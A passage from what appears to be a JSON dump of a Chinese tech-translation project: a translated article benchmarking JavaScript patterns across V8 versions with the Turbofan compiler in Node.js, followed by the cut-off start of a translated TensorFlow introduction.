Meurer](https://twitter.com/bmeurer)。起初，这个故事被发表在 [nearForm 的 blog 板块](https://www.nearform.com/blog/node-js-is-getting-a-new-v8-with-turbofan/)。在 7 月 27 日文章发布以来就做了一些修改，文章中对这些修改有所提及。\n\n**更新：Node.js 8.3.0 将会和** [**Turbofan 一起发布在 V8 6.0 中**](https://github.com/nodejs/node/pull/14594) 。**用** `NVM_NODEJS_ORG_MIRROR=https://nodejs.org/download/rc nvm i 8.3.0-rc.0` **来验证应用程序**\n\n自诞生之日起，node.js 就依赖于 V8 JavaScript 引擎来为我们熟悉和喜爱的语言提供代码执行环境。V8 JavaScipt 引擎是 Google 为 Chrome 浏览器编写的 JavaScipt VM。起初，V8 的主要目标是使 JavaScript 更快，至少要比同类竞争产品要快。对于一种高度动态的弱类型语言来说，这可不是容易的事情。文章将介绍 V8 和 JS 引擎的性能演变。\n\n允许 V8 引擎高速运行 JavaScript 的是其中一个核心部分：JIT(Just In Time) 编译器。这是一个可以在运行时优化代码的动态编译器。V8 第一次创建 JIT 编译器的时候, 它被称为 FullCodegen。之后 V8 团队实现了 Crankshaft，其中包含了许多 FullCodegen 未实现的性能优化。\n\n**编辑：FullCodegen 是 V8 的第一个优化编译器，感谢 [_Yang Guo_](https://twitter.com/hashseed) 的报告**\n\n作为 JavaScript 自 90 年代以来的关注者和用户，JavaScript（不管是什么引擎）中快速或者缓慢的方法似乎往往是违法直觉的，JavaScript 代码缓慢的原因也常常难以理解。\n\n最近几年，[Matteo Collina](https://twitter.com/matteocollina) 和 [我](https://twitter.com/davidmarkclem) 致力于研究如何编写高性能 Node.js 代码。当然，这意味着我们在用 V8 JavaScript 引擎执行代码的时候，知道哪些方法是高效的，哪些方法是低效的。\n\n现在是时候挑战所有关于性能的假设了，因为 V8 团队已经编写了一个新的 JIT 编译器：Turbofan。\n\n从更常见的 \"V8 Killers\"(导致优化代码片段的 `bail-out--` 在 Turbofan 环境下失效) 开始，Matteo 和我在 Crankshaft 性能方面所得到的模糊发现，将会通过一系列微基准测试结果和对 V8 进展版本的观察来得到答案。\n\n当然，在优化 V8 逻辑路径前，我们首先应该关注 API 设计，算法和数据结构。这些微基准测试旨在显示 JavaScript 在 Node 中执行时是如何变化的。我们可以使用这些指标来影响我们的一般代码风格，以及改进在进行常用优化之后性能提升的方法。\n\n我们将在 V8 5.1、5.8、5.9、6.0 和 6.1 中查看微基准测试下它们的性能。\n\n将上述每个版本都放在上下文中：V8 5.1 是 Node 6 使用的引擎，使用了 Crankshaft JIT 编译器，V8 5.8 是 Node 8.0 至 8.2 的引擎，混合使用了 Crankshaft **和** Turbofan。\n\n目前，5.9 和 6.0 引擎将在 Node 8.3（也可能是 Node 8.4）中，而 V8 6.1 是 V8 最新版本 (在编写本报告时)，它在 node-v8 仓库 [https://github.com/nodejs/node-v8.](https://github.com/nodejs/node-v8.) 的实验分支中与 Node 集成。换句话说，V8 6.1 版本将在后继 Node 版本中使用。\n\n让我们看下微基准测试，另一方面，我们将讨论这对未来意味着什么。所有的微基准测试都由 benchmark.js](https://www.npmjs.com/package/benchmark) 执行，绘制的值是每秒操作数，因此在图中越高越好。\n\n###  TRY/CATCH 问题\n\n最著名的去优化模式之一是使用 `try/catch` 块。\n\n在这个微基准测试中，我们比较了四种情况：\n\n*   带有 `try/catch` 的函数 (**带 try catch 的 sum**)\n*   不含 `try/catch` 的函数 (**不带 try catch 的 sum**)\n*   调用 `try`  块中的函数 (**sum 在 try 中**)\n*   简单的函数调用, 不涉及 `try/catch`  (**sum 函数**)\n\n**代码** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/try-catch.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/try-catch.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*lFxHAunjIiG0o7Dw.png)\n\n我们可以看到，在 Node 6 (V8 5.1) 围绕 `try/catch` 引发性能问题是真实存在的，但是对 Node 8.0-8.2 (V8 5.8) 的性能影响要小得多。\n\n值得注意的是，在 `try` 块内部调用函数比从 `try` 块之外调用函数慢得多 - 在 Node 6 (V8 5.1) 和 Node 8.0-8.2 (V8 5.8) 都是如此。\n\n然而对于 Node 8.3+，在 `try` 块内调用函数的性能影响可以忽略不计。\n\n尽管如此，不要掉以轻心。在整理性能工作报告时，Matteo 和我[发现了一个性能 bug](https://bugs.chromium.org/p/v8/issues/detail?id=6576&q=matteo%20collina&colspec=ID%20Type%20Status%20Priority%20Owner%20Summary%20HW%20OS%20Component%20Stars)，在特殊情况下 Turbofan 中可能会导致出现去优化/优化的无限循环 (被视为“killer” — 一种破坏性能的模式)。\n\n### 从 Objects 中删除属性\n\n多年来，`delete` 已经限制了很多希望编写出高性能 JavaScript 的人（至少是我们试图为热路径编写最优代码的地方）。\n\n `delete` 的问题归结于 V8 在原生 JavaScript 对象的动态性质以及（可能也是动态的）原型链的处理方式上。这使得查找在实现层面上的属性查询更加复杂。 \n\nV8 引擎快速生成属性对象的技术是基于对象的“形状”在 c++ 层创建类。形状本质上是属性所具有的键、值（包括原型链键值）。这些被称为“隐藏类”。但是这是在运行时对对象进行优化，如果对象的类型不确定，V8 有另一种属性检索的模型：hash 表查找。hash 表的查找速度很慢。历史上， 当我们从对象中 `delete`  一个键时，后续的属性访问将是一个 hash 查找。 这是我们避免使用  `delete`  而将属性设置为  `undefined` 以防止在检查属性是否已经存在时，导致结果与值相同的问题的产生的原因。 但对于预序列化已经足够了，因为  `JSON.stringify` 输出中不包含 `undefined`  (`undefined` 不是 JSON 规范中的有效值) 。\n\n现在，让我们看看更新 Turbofan 实现是否解决了 `delete` 问题。\n\n在这个微基准测试中，我们比较如下三种情况：\n\n*   在对象属性设置为  `undefined` 后，序列化对象\n*   在 `delete` 对象属性后，序列化对象\n*   在 `delete` 已被移出对象的最近添加的属性后，序列化对象\n\n**代码** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/property-removal.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/property-removal.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*i8btiU7YDD57gY4g.png)\n\n在 V8 6.0 和 6.1 (尚未在任何 Node 发行版本中使用)中，Turbofan 会创建一个删除最后一个添加到对象中的属性的快捷方式，因此会比设置 `undefined` 更快。这是好消息，因为它表明 V8 团队正努力提高 `delete` 的性能。然而，如果从对象中删除了一个不是最近添加的属性， `delete` 操作仍然会对属性访问的性能带来显著影响。因此，我们仍然不推荐使用 `delete`。\n\n**编辑: 在之前版本的帖子中，我们得出结论 `elete` 可以也应该在未来的 Node.js 中使用。但是 [_Jakob Kummerow_](http://disq.us/p/1kvomfk) 告诉我们，我们的基准测试只触发了最后一次属性访问的情况。感谢 [_Jakob Kummerow_](http://disq.us/p/1kvomfk)!**\n\n### 显式并且数组化 `ARGUMENTS`\n\n普通 JavaScript 函数 (相对于没有 `arguments` 对象的箭头函数 )可用隐式 `arguments`对象的一个常见问题是它类似数组，实际上不是数组。\n\n为了使用数组方法或大多数数组行为，`arguments` 对象的索引属性已被复制到数组中。在过去 JavaScripters 更倾向于将 **less code**和 **faster code** 相提并论。虽然这一经验规则对浏览器端代码产生了有效负载大小的好处，但可能会对在服务器端代码大小远不如执行速度重要的情况造成困扰。因此将`arguments` 对象转换为数组的一种诱人的简洁方案变得相当流行： `Array.prototype.slice.call(arguments)`。调用数组 `slice` 方法将 `arguments` 对象作为该方法的`this` 上下文传递, `slice` 方法从而将对象看做数组一样。也就是说，它将整个参数数组对象作为一个数组来分割。\n\n然而当一个函数的隐式 `arguments` 对象从函数上下文中暴露出来（例如，当它从函数返回或者像 `Array.prototype.slice.call(arguments)`时，会传递到另一个函数时）导致性能下降。 现在是时候验证这个假设了。\n\n下一个微基准测量了四个 V8 版本中两个相互关联的主题：`arguments` 泄露的成本和将参数复制到数组中的成本 (随后 函数作用域代替了 `arguments` 对象暴露出来).\n\n这是我们案例的细节：\n\n*   将 `arguments` 对象暴露给另一个函数 - 不进行数组转换 (**泄露 arguments**)\n*   使用 `Array.prototype.slice` 特性复制 `arguments` 对象 (**数组的 prototype.slice arguments**)\n*   使用 for 循环复制每个属性 (**for 循环复制参数**)\n*   使用 EcmaScript 2015 扩展运算符将输入数组分配给引用 (**扩展运算符**)\n\n**代码：** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/arguments.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/arguments.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*G35zRaziX-t5aNyc.png)\n\n让我们看一下线性图形中的相同数据以强调性能特征的变化：\n\n![](https://cdn-images-1.medium.com/max/800/0*8dlqdDK4PQcFnpc9.png)\n\n要点如下：如果我们想要将函数输入作为一个数组处理，写在高性能代码中 (在我的经验中似乎相当普遍)，在 Node 8.3 及更高版本应该使用 spread 运算符。在 Node 8.2 及更低版本应该使用 for 循环将键从 `arguments` 复制到另一个新的(预分配) 数组中 (详情请参阅基准代码)。\n\n在 Node 8.3+ 之后的版本中，我们不会因为将 `arguments`对象暴露给其他函数而受到惩罚， 因此我们不需要完整数组并可以以使用类似数组结构的情况下，可能会有更大的性能优势。\n\n### 部分应用 (CURRYING) 和绑定\n\n部分应用（或 currying）指的是我们可以在嵌套闭包作用域中捕获状态的方式。\n\n例如：\n\n```\nfunction add (a, b) {\n  return a + b\n}\nconst add10 = function (n) {\n  return add(10, n)\n}\nconsole.log(add10(20))\n```\n\n这里 `add` 的参数 `a` 在 `add10` 函数中数值 `10` 部分应用。\n\n从 EcmaScript 5 开始，`bind` 方法就提供了部分应用的简洁形式：\n\n```\nfunction add (a, b) {\n  return a + b\n}\nconst add10 = add.bind(null, 10)\nconsole.log(add10(20))\n```\n\n但是我们通常不用 `bind`，因为它明显比使用闭包要慢 。\n\n这个基准测试了目标 V8 版本中 `bind` 和闭包之间的差异，并以之直接函数调用作为控件。\n\n这是我们使用的四个案例：\n\n*   函数调用另一个第一个参数部分应用的函数 (**curry**)\n*   箭头函数 (**箭头函数**)\n*   通过 `bind` 部分应用另一个函数的第一个参数创建的函数 (**bind**)。\n*   直接调用一个没有任何部分应用的函数 (**直接调用**)\n\n**代码：** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/currying.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/currying.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*diYza234QpDdYolV.png)\n\n基准测试结果的可视化线性图清楚地说明了这些方法在 V8 或者更高版本中是如何合并的。有趣的是，使用箭头函数的部分应用比使用普通函数要快（至少在我们微基准情况下）。事实上它跟踪了直接调用的性能特性。在 V8 5.1 (Node 6) 和 5.8（Node 8.0–8.2）中 `bind` 的速度显然很慢，使用箭头函数进行部分应用是最快的选择。然而 `bind` 速度比 V8 5.9 (Node 8.3+) 提高了一个数量级，成为 6.1 (Node 后继版本) 中最快的方法( 几乎可以忽略不计) 。\n\n使用箭头函数是克服所有版本的最快方法。后续版本中使用箭头函数的代码将偏向于使用 `bind` ，因为它比普通函数更快。但是，作为警告，我们可能需要研究更多具有不同大小的数据结构的部分应用类型来获取更全面的情况。\n\n### 函数字符数\n\n函数的大小，包括签名、空格、甚至注释都会影响函数是否可以被 V8 内联。是的：为你的函数添加注释可能会导致性能下降 10%。Turbofan 会改变么？让我们找出答案。\n\n在这个基准测试中，我们看三种情况：\n\n*   调用一个小函数 (**sum small function**)\n*   一个小函数的操作在内联中执行，并加上注释。(**long all together**)\n*  调用已填充注释的大函数 (**sum long function**)\n\n**Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/function-size.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/function-size.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*zqsOxnfdkDWMHYY0.png)\n\n在 V8 5.1 (Node 6) 中，**sum small function** 和 **long all together** 是一样的。这完美阐释了内联是如何工作的。当我们调用小函数时，就好像 V8 将小函数的内容写到了调用它的地方。因此当我们实际编写函数的内容  (即使添加了额外的注释填充）时, 我们已经手动内联了这些操作，并且性能相同。在 V8 5.1 (Node 6) 中，我们可以再次发现，调用一个包含注释的函数会使其超过一定大小，从而导致执行速度变慢。\n\n在 Node 8.0–8.2 (V8 5.8) 中，除了调用小函数的成本显著增加外，情况基本相同。这可能是由于 Crankshaft 和 Turbofan 元素混合在一起，一个函数在 Crankshaft 另一个可能 Turbofan 中导致内联功能失调。(即必须在串联内联函数的集群间跳转)。\n\n在 5.9 及更高版本（Node 8.3+）中，由不相关字符（如空格或注释）添加的任何大小都不会影响函数性能。这是因为 Turbofan 使用函数 AST ([Abstract Syntax Tree](https://en.wikipedia.org/wiki/Abstract_syntax_tree) 节点数来确定函数大小，而不是像在 Crankshaft 中那样使用字符计数。它不检查函数的字节计数，而是考虑函数的实际指令，因此 V8 5.9 (Node 8.3+)之后 **空格, 变量名字符数, 函数名和注释不再是影响函数是否内联的因素。**\n\n值得注意的是，我们再次看到函数的整体性能下降。\n\n这里的优点应该仍然是保持函数较小。目前我们必须避免函数内部过多的注释（甚至是空格）。而且如果您想要绝对最快的速度，手动内联（删除调用）始终是最快的方法。当然还要与以下事实保持平衡：函数不应该在大小（实际可执行代码）确定后被内联，因此将其他函数代码复制到您的代码中可能会导致性能问题。换句话说，手动内联是一种潜在方法：大多数情况下，最好让编译器来内联。\n\n### 32BIT 整数 VS 64BIT 整数\n\n众所周知，JavaScript 只有一种数据类型：`Number`。\n\n但是 V8 是用 C++ 实现的，因此必须在 JavaScript 数值的底层基础类型上进行选择。\n\n对于整数 (也就是说，当我们在 JS 中指定一个没有小数的数字时), V8 假设所有的数字都是 32 位--直到它们不是的时候。 这似乎是一个合理的选择，因为多数情况下，数字都在 2147483648–2147483647 范围之间。 如果 JavaScript (整) 数超过 2147483647，JIT 编译器必须动态地将该数字基础类型更改为 double (双精度浮点数) — 这也可能对其他优化产生潜在的影响。\n\n以下三个基准测试案例：\n\n*   只处理 32 位范围内的数字的函数 (**sum small**)\n*   处理 32 位和 double 组合的函数 (**from small to big**)\n*   只处理 double 类型数字的函数 (**all big**)\n\n**Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/numbers.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/numbers.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*cISX2jccM4yVWZcl.png)\n\n我们可以从图中看出，无论是在 Node 6 (V8 5.1) 还是 Node 8 (V8 5.8) 甚至是 Node 的后继版本，这些观察都是正确的。使用大于 2147483647 数字（整数）的操作将导致函数运行速度在一半到三分之二之间。因此，如果您有很长的数字 ID—将他们放在字符串中。\n\n同样值得注意的是，在 32 位范围内的数字操作在 Node 6 (V8 5.1) 和 Node 8.1 以及 8.2 (V8 5.8) 有速度增长，但是在 Node 8.3+ (V8 5.9+)中速度明显降低。然而在 Node 8.3+ (V8 5.9+)中，double 运算变得更快，这很可能是（32位）数字处理速度缓慢，而不是函数或与 `for` 循环 (在基准代码中使用)速度有关\n\n**编辑: 感谢** [**Jakob Kummerow**](http://disq.us/p/1kvomfk) **和** [**Yang Guo**](https://twitter.com/hashseed) **已经 V8 团队对结果的准确性和精确性的更新。**\n\n### 迭代对象\n\n获得对象的所有值并对它们进行处理是常见的操作，而且有很多方法可以实现。让我们找出在 V8 (和 Node) 中最快的那个版本。\n\n这个基准测试的四个案例针对所有 V8 版本：\n\n*   在 `for`-`in` 循环中使用 `hasOwnProperty` 方法来检查是否已经获得对象值。 (**for in**)\n*   使用 `Object.keys` 并使用数组的 `reduce` 方法迭代键，访问 iterator 函数中提供给的对象值 (**函数式 Object.keys**)\n*   使用 `Object.keys` 并使用数组的 `reduce` 方法迭代键，访问 iterator 函数中的对象值，提供给 `reduce` 的迭代函数中对象值，以减少 iterator 是箭头函数的位置 (**函数式箭头函数 Object.keys**)\n*  循环访问使用 `for` 循环从 `Object.keys` 返回的数组的每个对象值  (**for 循环 Object.keys **)\n\n我们还为V8 5.8、5.9、 6.0 和 6.1 增加了三个额外的基准测试案例\n\n*   使用 `Object.values` 和数组 `reduce`方法遍历值, (**函数式 Object.values**)\n*  使用 `Object.values` 和数组 `reduce` 方法遍历值,其中提供给 `reduce` 的 iterator 函数是箭头函数 (**函数式箭头函数 Object.values**)\n*   使用 `for` 循环遍历从 `Object.values` 中返回的数组  (**for 循环 Object.values**)\n\n在 V8 5.1 (Node 6)中，我们不会支持这些情况，因为它不支持原生 EcmaScript 2017 `Object.values` 方法。 \n\n**Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/object-iteration.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/object-iteration.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*okwut-5U3KjXn4ab.png)\n\n在 Node 6 (V8 5.1) 和 Node 8.0–8.2 (V8 5.8) 中，遍历对象的键然后访问值使用  `for`-`in` 是迄今为止最快的方法。4 千万 op/s 比下一个接近 `Object.keys`  的方法（大约 8 百万 op/s）快了近5倍。\n\n在 V8 6.0 (Node 8.3) 中 `for`-`in` 发生了改变，它降低至之前版本速度的四分之三，但仍然比任何方法速度都快。\n\n在 V8 6.1 (Node 后继版本)中，`Object.keys` 比使用`for`-`in` 的速度有所提升 -但在 V8 5.1 和 5.8 (Node 6, Node 8.0-8.2) 中，仍然不及 `for`-`in` 的速度。\n\nTurbofan 背后的运行原理似乎是对直观的编码行为进行优化。也就是说，对开发者最符合人体工程学的情况进行优化。\n\n使用 `Object.values` 直接获取值比使用 `Object.keys` 并访问对象值要慢。最重要的是，程序循环比函数式编程要快。因此在迭代对象时可能要做更多的工作。\n\n此外，对那些为了提升性能而使用 `for`-`in` 却因为没有其他选择而失去大部分速度的人来说，这是一个痛苦的时刻。\n\n### 创建对象\n\n我们**始终**在创建对象，所以这是一个很好的测量领域。\n\n我们要看三个案例：\n\n*  创建对象时使用对象字面量 (**literal**) \n*  创建对象时使用 ECMAScript 2015 类 (**class**) \n*  创建对象时使用构造函数 (**constructor**) \n\n**Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/object-creation.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/object-creation.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*ELU7jCa6FA4SOhhv.png)\n\n在 Node 6 (V8 5.1) 中所有方法都一样。\n\n在 Node 8.0–8.2 (V8 5.8)中，从 EcmaScript 2015 类创建实例的速度不及用对象字面量或者构造函数速度的一半。所以，你知道后要注意这一点。\n\n在 V8 5.9 中，性能再次均衡。\n\n然后在 V8 6.0 (可能是 Node 8.3，或者是 8.4) 和 6.1 (目前尚未发布在任何 Node 版本) 中对象创建速度 **简直疯狂**！！超过了 500 百万 op/s！令人难以置信。\n\n![](https://cdn-images-1.medium.com/max/800/0*xvzRH5TOxggMACa0.gif)\n\n我们可以看到由构造函数创建对象稍慢一些。因此，为了对未来友好的高性能代码，我们最好的选择是始终使用对象字面量。这很适合我们，因为我们建议从函数（而不是使用类或构造函数）返回对象字面量作为一般的最佳编码实践。\n\n**编辑：Jakob Kummerow  在 **[_http://disq.us/p/1kvomfk_](http://disq.us/p/1kvomfk)** 中指出，Turbofan 可以在这个特定的微基准中优化对象分配。考虑这一点，我们会尽快重新进行更新。**\n\n### 单态函数与多态函数\n\n当我们总是将相同类型的 argument 输入到函数中（例如，我们总是传递一个字符串）时，我们就以单态形式使用该函数。一些函数被编写成多态 --  这意味着相同的参数可以作为不同的隐藏类处理 -- 所以它可能可以处理一个字符串、一个数组或一个具有特定隐藏类的对象，并相应地处理它。在某些情况下，这可以提供良好的接口，但会对性能产生负面影响。\n\n让我们看看单态和多态在基准测试的表现。\n\n在这里，我们研究五个案例：\n\n*   函数同时传递对象字面量和字符串 (**多态字面量**)\n*   函数同时传递构造函数实例和字符串 (**多态构造函数**)\n*   函数只传递字符串 (**单态字符串**)\n*   函数只传递字面量 (**单态字面量**)\n*   函数只传递构造函数实例 (**带构造函数的单例对象**)\n\n**代码：** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/polymorphic.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/polymorphic.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*eF_vt7YUPD0YFsWo.png)\n\n图中的可视化数据表明，在所有的 V8 测试版本中单态函数性能优于多态函数。\n\n这进一步说明了在 V8 6.1（Node 后继版本）中，单态函数和多态函数之间的性能差距会更大。不过值得注意的是，这个基于使用了一种 nightly-build 方式构建 V8 版本的 node-v8 分支的版本 -- 可能最终不会成为 V8 6.1 中的一个具体特性\n\n如果我们正在编写的代码需要是最优的，并且函数将被多次调用，此时我们应该避免使用多态。另一方面，如果只调用一两次，比如实例化/设置函数，那么多态 API 是可以接受的。\n\n**编辑：V8 团队已经通知我们，使用其内部可执行文件 **`_d8_`** 无法可靠地重现此特定基准测试的结果。然而，这个基准在 Node 上是可重现的。因此，应该考虑到结果和随后的分析，可能会在之后的 Node 更新中发生变化（基于 Node 和 V8 的集成中）。不过还需要进一步分析。感谢** [_Jakob Kummerow_](http://disq.us/p/1kvomfk) **指出了这一点**。\n\n### `DEBUGGER` 关键词\n\n最后，让我们讨论一下 `debugger` 关键词。\n\n确保从代码中删除了 `debugger` 语句。散乱的 `debugger` 语句会破坏性能。\n\n我们看下以下两种案例：\n\n*   包含 `debugger` 关键词的函数 (**带有 debugger**)\n*   不包含 `debugger` 关键词的函数 (**不含 debugger**)\n\n**Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/debugger.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/debugger.js)\n\n![](https://cdn-images-1.medium.com/max/800/0*mdbzBVOk1UWiDb7w.png)\n\n是的，`debugger` 关键词的存在对于测试所有 V8 版本的性能来说都很糟糕。\n\n在**没有 debugger** 行的那些 V8 版本中，性能显著提升。我们将在[总结](https://www.nearform.com/blog/node-js-is-getting-a-new-v8-with-turbofan/#summary)中讨论这一点。\n\n### 真实世界的基准： LOGGER 比较\n\n除了微基准测试，我们还可以通过使用 Node.js 最流行的日志（Matteo 和我创建的 [Pino](http://getpino.io/) 时编写的）来查看 V8 版本的整体效果。\n\n下面的条形图表明在Node.js 6.11 (Crankshaft) 中最受欢迎的 logger 记录1万行(更低些会更好) 日志所用时间：\n\n![](https://cdn-images-1.medium.com/max/800/0*lsRsaA4cIuC7z7y3.png)\n\n以下是使用 V8 6.1 (Turbofan) 的相同基准：\n\n![](https://cdn-images-1.medium.com/max/800/0*3-QHw8cgY83Cg57i.png)\n\n虽然所有的 logger 基准测试速度都有所提高 (大约是 2 倍)，但 Winston logger 从新的 Turbofan JIT 编译器中获得了最大的好处。这似乎证明了我们在微基准测试中看到的各种方法之间的速度趋于一致：Crankshaft 中较慢的方法在 Turbofan 中明显更快，而在 Crankshaft 的快速方法在 Turbofan 中往往会稍慢。Winston 是最慢的，可能是使用了在 Crankshaft 中较慢而在 Turbofan 中更快的方法，然而 Pino 使用最快的 Crankshaft 方法进行优化。虽然在 Pino 中观察到速度有所增加，但是效果不是很明显。\n\n### 总结\n\n一些基准测试表明，随着 V8 6.0 和 V8 6.1中全部启用 Turbofan,在 V8 5.1, V8 5.8 和 5.9 中的缓慢情况有所加速 ，但快速情况也有所下降，这往往与缓慢情况的增速相匹配。\n\n很大程度上是由于在 Turbofan (V8 6.0 及以上) 中进行函数调用的成本。Turbofan 的核心思想是优化常见情况并消除“V8 Killers”。这为 (Chrome) 浏览器和服务器 (Node)带来了净效益。 对于大多数情况来说，权衡出现在(至少是最初)速度下降。基准日志比较表明，Turbofan 的总体净效应即使在代码基数明显不同的情况下(例如：Winston 和 Pino) 也可以全面提高。\n\n如果您关注 JavaScript 性能已经有一段时间了，也可以根据底层引擎改善编码方式，那么是时候放弃一些技术了。如果您专注于最佳实践，编写一般的 JavaScript，那么很好，感谢 V8 团队的不懈努力，高效性能时代即将到来。\n\n本文的作者是 [David Mark Clements](https://twitter.com/davidmarkclem) 和 [Matteo Collina](https://twitter.com/matteocollina), 由来自 V8 团队的 [Franziska Hinkelmann](https://twitter.com/fhinkel) 和 [Benedikt Meurer](https://twitter.com/bmeurer) 校对。\n\n* * *\n\n本文的所有源代码和文章副本都可以在 [https://github.com/davidmarkclements/v8-perf](https://github.com/davidmarkclements/v8-perf) 上找到。\n\n 文章的原始数据可以在[https://docs.google.com/spreadsheets/d/1mDt4jDpN_Am7uckBbnxltjROI9hSu6crf9tOa2YnSog/edit?usp=sharing](https://docs.google.com/spreadsheets/d/1mDt4jDpN_Am7uckBbnxltjROI9hSu6crf9tOa2YnSog/edit?usp=sharing)。\n\n大多数的微基准测试是在 Macbook Pro 2016 上进行的，16 GB 2133 MHz LPDDR3 的 3.3 GHz Intel Core i7，其他的 (数字、属性已经删除) 则运行在 MacBook Pro 2014，16 GB 1600 MHz DDR3的 3 GHz Intel Core i7 。Node.js 不同版本之间的测试都是在同一台机器上进行的。我们已经非常小心地确保不受其他程序的干扰。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/get-started-tensorflow.md",
    "content": "> * 原文地址：[Getting started with TensorFlow —— IBM](https://www.ibm.com/developerworks/opensource/library/cc-get-started-tensorflow/index.html?social_post=1166248547&fst=Learn)\n> * 原文作者：[Vinay Rao](https://developer.ibm.com/author/vinay.rao/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/get-started-tensorflow.md](https://github.com/xitu/gold-miner/blob/master/TODO/get-started-tensorflow.md)\n> * 译者：\n> * 校对者：\n\n# IBM 工程师的 TensorFlow 入门指北\n\n在机器学习的世界中， __tensor__ 是指数学模型中用来描述神经网络的多维数组。换句话说，一个 tensor 通常是一个广义上的高维矩阵或者向量。\n\n通过使用矩阵的秩来显示维数的简单方法，tensor 能够将复杂的 **n** 维向量和超形状表示成 **n** 维数组。Tensor 有两个属性：数据类型和形状。\n\n## 关于 TensorFlow\n\nTensorFlow 是一个开源的深度学习框架，它基于 Apache 2.0 许可发布于 2015年底。从那时起，它就成为世界上最广泛采用的深度学习框架之一（由 Github 上基于它的项目数量得出）。\n\nTensorFlow 源自 Google DistBelief，它是由 Google Brain 项目组开发并所有的深度学习系统。Google 从零开始设计它，用于分布式处理，并在 Google 产品数据中心中以最佳模式运行在定制的应用专用集成电路（ASIC）上，这种集成电路通常也被叫做 Tensor Processing Unit（TPU）。这种设计能够开发出有效的深度学习应用。\n\n这个框架能够运行在 CPU、 GPU 或者 TPU 上，可以在服务器、台式机或者移动设备上使用。开发者可以在不同的操作系统和平台上部署 TensorFlow，而且不论是在本地环境还是云上。许多开发者会认为，相比类似的深度学习框架（比如 Torch 和 Theano，它们也支持硬件加速技术并被学术界广泛使用），TensorFlow 能够更好地支持分布式处理，并且在商业应用中拥有更高灵活性和性能表现。\n\n深度学习神经网络通常是由多个层组成。它们使用多维数组在层之间传递数据或执行操作。一个 tensor 在神经网络的各层之间“流动”（Flow）。因此，命名为 TensorFlow。\n\nTensorFlow 使用的主要编程语言是 Python。为 `C`++、 Java® 语言和 Go 提供了可用但不保证稳定性的应用程序接口（API），同样也有很多为 `C`#，Haskell， Julia，Rust，Ruby，Scala，R 甚至是 PHP 设计的第三方的绑定。Google 近来发布了一个为移动设备优化的 TensorFlow-Lite 库，以使 TensorFlow 应用程序能在 Android 上运行。\n\n这个教程提供了 TensorFlow 系统的概述，包括框架的优点，支持的平台，安装的注意事项以及支持的语言和绑定。\n\n## TensorFlow 的优势\n\nTensorFlow 为开发者提供了很多的好处：\n\n*   计算流图模型。TensorFlow使用名为有向图的数据流图来表示计算模型。这让开发者能够简易直接的使用原生工具查看神经网络层间发生了什么，并能够交互式地调整参数和配置来完善他们的神经网络结构。\n*   简单易用的 API。Python 开发者既可以使用 TensorFlow 原生的底层 API 接口或者核心 API 来开发他们自己的模型，也可以使用高级 API 库来构建内置模型。TensorFlow 有很多内建和社区的库，它也可以覆盖更高级的深度学习框架比如 Keras 上充当一个高级 API。\n*   灵活的架构。使用 TensorFlow 的一个主要有点是它具有模块化，可扩展和灵活的设计。开发者只需更改很少的一些代码，就可以轻松地 CPU， GPU 或 TPU 处理器之间转换模型。尽管最初是为了大规模分布式训练和推测而设计的，开发者也可以使用 TensorFlow 来尝试其他机器学习模型和现有模型的系统优化。\n*   分布式处理。Google 从零设计了 TensorFlow，目的是让它能在定制的 ASIC TPU 上分布式运行。另外，TensorFlow 可以在多种 NVIDIA GPU 内核上运行。开发人员能够充分利用基于 Intel Xeon 和 Xeon Phi 的 X64 CPU 架构或者基于 ARM64 的CPU 架构的优势。TensorFlow 可以在多架构和多核心系统上像在分布式进程中一样运行，它能将计算密集型进程当做生产任务移交。开发者能够创建 TensorFlow 集群。并将这些计算流图分发到这些集群中进行训练。Tensor 可以同步或异步执行分布式训练，既可以在流图内部，也可以跨流图进行，并且可以在网络计算节点间共享内存中的公共数据。\n*   运行性能。性能通常是一个有争议的话题，但是大部分开发者都明白，任何深度学习框架都依赖于底层硬件，才能达到最优化运行，以低能耗实现高性能。通常，任何框架在其原生开发平台都应该实现最佳优化。TensorFlow 在 Google TPU 